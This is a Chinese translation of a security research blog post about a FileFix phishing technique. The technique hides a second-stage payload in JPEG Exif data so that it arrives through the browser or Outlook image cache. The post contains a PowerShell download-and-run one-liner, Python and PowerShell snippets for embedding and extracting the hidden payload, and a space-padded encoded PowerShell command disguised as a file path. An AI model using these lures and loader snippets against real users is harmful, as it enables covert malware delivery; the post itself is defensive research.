通过图片缓存被动下载恶意软件负载的技术剖析

本文详细分析了一种新型网络攻击技术,通过浏览器图片缓存和Exif数据隐藏恶意负载,规避安全检测。文章涵盖缓存走私、FileFix攻击原理、Exif数据隐藏技术实现,并提供了完整的攻击验证方案。

Look At This Photograph - 通过图片缓存被动下载恶意软件负载

Marcus Hutchins

最近,在我于Expel Security从事CTI工作的日常工作中,遇到了这个独特的ClickFix/FileFix风格钓鱼页面。它结合了FileFix和缓存走私技术,避免其第一阶段加载程序发出任何网络请求。相反,加载程序只需从Web浏览器缓存中提取第二阶段负载,该缓存是通过缓存走私技术放置的。这规避了许多专注于限制不受信任代码访问互联网能力的安全控制。

这种攻击启发我提出了一种改进、更通用的技术,我将在本文中详细说明。

如果你不熟悉缓存走私或ClickFix,我强烈建议你先阅读我之前的博客。

ClickFix快速介绍

常见的ClickFix诱饵伪装成验证码,试图通过社会工程学手段诱使用户运行恶意命令。这种变体通常通过恶意广告或入侵Web服务器推送到网站上。

伪装成验证码测试的ClickFix变体

在这种情况下,虚假验证码提示用户按下Win + R、Ctrl + V,然后按Enter。在Windows上,Win + R快捷键打开"运行"窗口,用于启动可执行文件。Ctrl + V从剪贴板粘贴文本,Enter提交粘贴的任何文本。

这种攻击利用了网页可以使用JavaScript将文本写入用户剪贴板的事实。在后台,网站已经用恶意命令填充了剪贴板,当用户将其输入运行窗口时,该命令将被运行。

许多脚本宿主(如PowerShell和WScript)允许通过命令行以纯文本形式传递脚本,这使得"运行"可以被滥用来执行任意代码。

原始ClickFix技术的一个限制是"运行"输入文本框限制设置为MAX_PATH(260个字符)。这意味着攻击者的整个恶意脚本以及调用它的命令必须小于260字节。

“运行"极低的字符限制严重限制了功能,导致许多威胁行为者诉诸于基本的PowerShell和MSHTA下载器,这些很容易被安全产品检测到。

此类命令的示例如下,它使用Net.WebClient对象下载第二阶段PowerShell脚本,然后使用IEX(Invoke-Expression)运行它:

1
powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('https://example.local/payload')"

这就是称为FileFix的技术变体发挥作用的地方。

FileFix:ClickFix但更大

就所有目的而言,FileFix就是ClickFix,但诱饵通过社会工程学手段让用户将文本粘贴到Windows资源管理器地址栏中。资源管理器的地址栏表现出与"运行"窗口完全相同的行为,只是地址栏限制为2048个字符,这明显大于"运行"的260个字符。

许多威胁行为者还利用了这样一个事实:除非用户在非常大的显示器上全屏运行资源管理器,否则只有一小部分粘贴的文本可见。攻击者通过用空格填充命令来滥用这一点,使他们能够决定用户看到哪部分(通常是包含普通文件路径或类似内容的注释)。

我们看到的特定版本伪装成FortiClient合规检查器。

包含FortiClient钓鱼诱饵的网页

这种攻击还极大地受益于网页能够使用JavaScript为你打开Windows资源管理器。“为什么这甚至是一个功能?“你可能会问。嗯,这是因为网络安全是去年才发明的,在此之前每个人都只是实现了任何东西。

当FileFix遇到缓存走私

这个特定FileFix变体的独特之处在于它包含了缓存走私。缓存走私允许用户利用Web浏览器的缓存将任意文件存储到系统上。这使得恶意PowerShell命令完全避免发出任何Web请求,这被EDR或其他安全工具捕获的可能性要小得多。

通常,浏览器缓存静态Web资源,如css、JavaScript和图像文件。但正如原始缓存走私博客的作者Aurelien所发现的那样,文件内容实际上并不重要。只需将HTTP Content-Type头部设置为image/jpeg,使用<img src="/malware.exe">嵌入exe文件,Web浏览器就会很乐意为你将文件保存到磁盘。

在FortiClient活动的情况下,JavaScript使用fetch()检索一个假的jpg,实际上是一个ZIP文件。然后PowerShell脚本只需在浏览器的缓存文件夹中搜索ZIP文件,然后从中提取并运行恶意软件。

现在,我对FileFix活动中(以及原始博客上)实现的这种技术有一个不满。它只是试图将任意文件类型冒充为JP图像。这意味着没有有效的JPG头部,因此图像无效。这有几个缺点:

  • 由于文件不是真正的JPG,浏览器会认为它已损坏并显示损坏的图像图标(这可能是钓鱼诱饵使用JavaScript fetch()图像而不加载它的原因)。
  • 任何进行TLS检查的防火墙都应该对文件头和文件类型/扩展名不匹配发出警报(这是一个相当古老的技巧)。我说应该,因为这意味着我们实际上在尝试进行网络安全。
  • 触摸磁盘上的文件会触发防病毒软件的访问时扫描。PowerShell脚本与缓存文件交互的那一刻,防病毒软件就会扫描它。文件类型无关紧要。

后一个问题可以通过加密缓存走私文件来轻松缓解,确保原始负载永远不会接触磁盘。只需对加载程序进行小的添加,在从缓存文件中提取后解密负载。但解决前两点需要一些创造力。

超越基本缓存走私

看到缓存走私示例后,我的第一个想法是:为什么不使用隐写术?隐写术使我们能够通过将任意数据编码到单个像素中将其隐藏在图像中。我们可以将整个负载编码到真实图像中,然后让PowerShell脚本解码它。

很快,我意识到为什么没有FileFix变体采用这种方法。尝试将整个JPG解码器放入小于2048字节的脚本中几乎是不可能的。此外,我们理想情况下希望使用远少于最大字符限制的空间,以便为我们提供填充空间(填充空间……明白吗?填充是用空格完成的……好吧,随便,就当没说过)。

我的下一个想法是使用Exif数据。JPG通过Exif(可交换图像文件格式)支持在图像中存储元数据。通常,数码相机使用它来存储有关照片的数据,例如拍摄地点/时间、相机设置、型号、镜头等。

我想知道是否有任何元数据字段足够大来存储我的第二阶段负载。令我惊讶的是,Exif头部的大小限制比预期大得多。整个64-KB的元数据可以存储在图像中。但更好的是,单个Exif字段可以使用整个64-KB空间。

我还发现了元数据解析方式的一个有用怪癖,这使我们可以从某些解析器中隐藏Exif数据。

截断Exif数据

Exif字段可以有不同的类型(字节、短整型、长整型、浮点型、ascii等)。标准ascii格式的文本字符串使用空字节表示字符串的结束。但是,Exif格式为每种数据类型(包括ascii)指定了长度(计数)字段。这意味着虽然大多数文本解析器会在第一个空字节处停止读取,但字段的真实大小可能要大得多。

如果我们将ascii字段的计数值设置为最大可能值,我们可以将最多64-KB的数据存储到其中而不会破坏Exif格式。但由于大多数软件认为空字节表示ascii字符串的结束,我们可以通过在负载之前放置空字节来从许多Exif解析器中隐藏数据。

假设我们使用ascii类型的字段,将值设置为类似<某些文本><空字节><我们的负载>的内容,应该会阻止这些解析器显示包含负载的字段部分。

我通过使用Python将Image Description字段设置为Definitely Not Malware\0 AAAAAAAAAAAAAAAAAAAAAAAAA来测试这一点。

Windows资源管理器显示的Exif数据

如你所见,当我们使用右键单击>属性查看Exif数据时,只显示字符串的"Definitely Not Malware"部分。但是,当我们在十六进制编辑器中打开图像时,仍然可以看到AAAAAAAAAAAAAAAAAAAAAAAAA部分存在于Exif中。

十六进制编辑器中看到的图像

由于执行Exif解析时使用Exif"计数"值,这不会干扰任何其他Exif字段或图像的渲染。数据完全有效,只是软件在显示文本字符串时不会读取超过空字节是正常的。

使用Exif走私构建FileFix验证概念

由于我们能够将单个连续的二进制数据blob存储在JPG的Exif头部中,我们实际上不需要Exif解析器来提取它。我们可以用一些标签包装数据,然后使用RegEx提取中间的所有内容。

我选择像这样包装数据:13371337<payload data>13371337

所以我的ImageDescription字段现在看起来像这样:Definitely Not Malware<空字节>13371337<payload data>13371337

以下是我用于将负载存储到JPG的Exif数据中的Python代码片段:

1
2
image_description = b'Definitely Not Malware\x00'
full_payload = image_description + b'13371337' + payload_data + b'13371337'

这导致负载数据隐藏在Image Description中,它只会显示"Definitely Not Malware”。

然后要通过PowerShell提取它,以下代码应该有效:

1
2
$content = [System.Text.Encoding]::Default.GetString([System.IO.File]::ReadAllBytes($file_name));
$match = [regex]::Match($content, "(?s)13371337(.*?)13371337");

PowerShell脚本需要做的就是遍历浏览器的缓存目录并等待RegEx匹配。

为了演示这一点,我整理了一个基本的验证概念钓鱼页面,它将"Hello World"DLL隐藏在页面徽标的Exif数据中。

验证概念钓鱼诱饵

它复制了FileFix技术,其中恶意命令用空格隐藏,如下所示:

1
conhost.exe --headless powershell.exe -EncodedCommand <base64 command here> -ExecutionPolicy                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "\\\\NetworkShare\\Finance\\Reports\\EmployeeSalaries.txt"

当粘贴到资源管理器中时,这是用户看到的全部内容。

用户将命令粘贴到资源管理器地址栏时看到的内容

我的示例网站复制到剪贴板的恶意命令运行powershell.exe并传递base64编码的脚本。编码的脚本负责创建浏览器缓存文件夹的副本,然后遍历每个文件查找13371337占位符。

在这种情况下,负载只是一个hello world DLL文件,未加密。尽管添加加密/解密功能很简单,但为了本示例的目的,我决定不添加。

其他攻击向量和进一步思考

虽然大多数网站和服务出于隐私原因剥离Exif元数据,但我发现了另一个有趣的攻击面:Microsoft Outlook。Microsoft Outlook本质上只是一个华丽的Edge Web浏览器,因此它以与浏览器相同的方式处理图像。这使得通过电子邮件执行Exif走私也成为可能。只需将JPG附加到电子邮件中并发送给目标(我确信这种行为也适用于其他客户端,但我只测试了Outlook)。

Outlook行为的有趣之处在于,即使预览面板中禁用了图像预览,它似乎都会主动缓存和下载图像附件。在这两种情况下,Exif数据都没有被剥离,使得可以使用Exif走私将负载下载到目标系统上,甚至无需打开电子邮件。

尽管仍然需要恶意软件从缓存中提取和执行负载,但该技术为将第二阶段负载获取到目标系统上提供了许多替代方法。已知恶意软件、脚本和漏洞利用会执行Web请求以下载第二阶段负载。通过Exif走私,可以完全消除下载或嵌入第二阶段负载的需求。

尽管利用Exif数据隐藏恶意代码的恶意软件并不新鲜,但它通常仅用于恶意软件自身下载的图像上下文。但是当与缓存走私结合时,任何缓存图像(未先剥离exif数据)的软件都可用于被动下载后续负载。

此功能不仅限于ClickFix,因为它也可用于制作无C2的加载程序。加载程序不是执行Web请求,而是简单地监视各种软件缓存目录中包含预定签名的文件。

因此,安全供应商不能依赖恶意脚本必须直接嵌入负载或执行Web请求来获取负载的假设,这一点很重要。如果第二阶段负载已经通过缓存走私到系统上,限制脚本发出Web请求能力的控制措施将无效。

更多内容,请在Bluesky、LinkedIn、Threads或Mastodon上关注我。我计划下周发布验证概念的源代码。

以下是我为Chrome编写的Exif走私+FileFix验证概念的链接。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计